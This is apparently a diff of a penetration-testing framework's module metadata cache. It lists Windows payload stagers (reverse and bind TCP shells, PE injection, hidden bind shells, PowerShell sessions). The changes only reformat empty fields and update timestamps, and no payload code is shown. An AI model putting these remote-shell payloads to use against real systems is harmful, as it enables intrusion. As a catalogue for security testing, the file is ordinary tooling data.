@@ "payload_windows/peinject/bind_tcp_rc4": { "name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256942,15 +258512,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256961,9 +258530,7 @@ "payload_windows/peinject/bind_tcp_uuid": { "name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256982,15 +258549,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257001,9 +258567,7 @@ "payload_windows/peinject/find_tag": { "name": "Windows Inject PE Files, Find Tag Ordinal Stager", "fullname": "payload/windows/peinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257021,15 +258585,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/peinject/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257040,9 +258603,7 @@ "payload_windows/peinject/reverse_ipv6_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/peinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257062,15 +258623,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257081,9 +258641,7 @@ "payload_windows/peinject/reverse_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257101,15 +258659,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257120,9 +258677,7 @@ "payload_windows/peinject/reverse_nonx_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257140,15 +258695,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257159,9 +258713,7 @@ "payload_windows/peinject/reverse_ord_tcp": { "name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257179,15 +258731,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257198,9 +258749,7 @@ "payload_windows/peinject/reverse_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager", "fullname": "payload/windows/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257220,15 +258769,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257239,9 +258787,7 @@ "payload_windows/peinject/reverse_tcp_allports": { "name": "Windows Inject PE Files, Reverse All-Port TCP Stager", "fullname": "payload/windows/peinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257261,15 +258807,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257280,9 +258825,7 @@ "payload_windows/peinject/reverse_tcp_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (DNS)", "fullname": "payload/windows/peinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257303,15 +258846,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257322,9 +258864,7 @@ "payload_windows/peinject/reverse_tcp_rc4": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257346,15 +258886,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257365,9 +258904,7 @@ "payload_windows/peinject/reverse_tcp_rc4_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/peinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257389,15 +258926,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257408,9 +258944,7 @@ "payload_windows/peinject/reverse_tcp_uuid": { "name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257429,15 +258963,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257448,9 +258981,7 @@ "payload_windows/pingback_bind_tcp": { "name": "Windows x86 Pingback, Bind TCP Inline", "fullname": "payload/windows/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257458,24 +258989,21 @@ "bwatters-r7" ], "description": "Open a socket and report UUID when a connection is received (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/pingback_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257484,9 +259012,7 @@ "payload_windows/pingback_reverse_tcp": { "name": "Windows x86 Pingback, Reverse TCP Inline", "fullname": "payload/windows/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257494,24 +259020,21 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257520,9 +259043,7 @@ "payload_windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/windows/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257542,15 +259063,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/powershell_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257559,9 +259079,7 @@ "payload_windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/windows/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257588,8 +259106,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257598,9 +259115,7 @@ "payload_windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/windows/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257627,8 +259142,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257637,9 +259151,7 @@ "payload_windows/shell/bind_hidden_ipknock_tcp": { "name": "Windows Command Shell, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/shell/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257660,15 +259172,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257679,9 +259190,7 @@ "payload_windows/shell/bind_hidden_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Stager", "fullname": "payload/windows/shell/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257702,15 +259211,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257721,9 +259229,7 @@ "payload_windows/shell/bind_ipv6_tcp": { "name": "Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257734,24 +259240,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257762,9 +259265,7 @@ "payload_windows/shell/bind_ipv6_tcp_uuid": { "name": "Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257776,24 +259277,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257804,9 +259302,7 @@ "payload_windows/shell/bind_named_pipe": { "name": "Windows Command Shell, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257816,24 +259312,21 @@ "UserExistsError" ], "description": "Spawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257844,9 +259337,7 @@ "payload_windows/shell/bind_nonx_tcp": { "name": "Windows Command Shell, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257856,24 +259347,21 @@ "vlad902 " ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257884,9 +259372,7 @@ "payload_windows/shell/bind_tcp": { "name": "Windows Command Shell, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257897,24 +259383,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257925,9 +259408,7 @@ "payload_windows/shell/bind_tcp_rc4": { "name": "Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257940,24 +259421,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/shell/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257968,9 +259446,7 @@ "payload_windows/shell/bind_tcp_uuid": { "name": "Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257981,24 +259457,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258009,9 +259482,7 @@ "payload_windows/shell/find_tag": { "name": "Windows Command Shell, Find Tag Ordinal Stager", "fullname": "payload/windows/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258021,24 +259492,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258049,9 +259517,7 @@ "payload_windows/shell/reverse_ipv6_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258062,24 +259528,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258090,9 +259553,7 @@ "payload_windows/shell/reverse_nonx_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258102,24 +259563,21 @@ "vlad902 " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258130,9 +259588,7 @@ "payload_windows/shell/reverse_ord_tcp": { "name": "Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258141,24 +259597,21 @@ "sf " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258169,9 +259622,7 @@ "payload_windows/shell/reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Stager", "fullname": "payload/windows/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258182,24 +259633,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258210,9 +259658,7 @@ "payload_windows/shell/reverse_tcp_allports": { "name": "Windows Command Shell, Reverse All-Port TCP Stager", "fullname": "payload/windows/shell/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258223,24 +259669,21 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258251,9 +259694,7 @@ "payload_windows/shell/reverse_tcp_dns": { "name": "Windows Command Shell, Reverse TCP Stager (DNS)", "fullname": "payload/windows/shell/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258265,24 +259706,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258293,9 +259731,7 @@ "payload_windows/shell/reverse_tcp_rc4": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258308,24 +259744,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258336,9 +259769,7 @@ "payload_windows/shell/reverse_tcp_rc4_dns": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/shell/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258351,24 +259782,21 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258379,9 +259807,7 @@ "payload_windows/shell/reverse_tcp_uuid": { "name": "Windows Command Shell, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258392,24 +259818,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258420,9 +259843,7 @@ 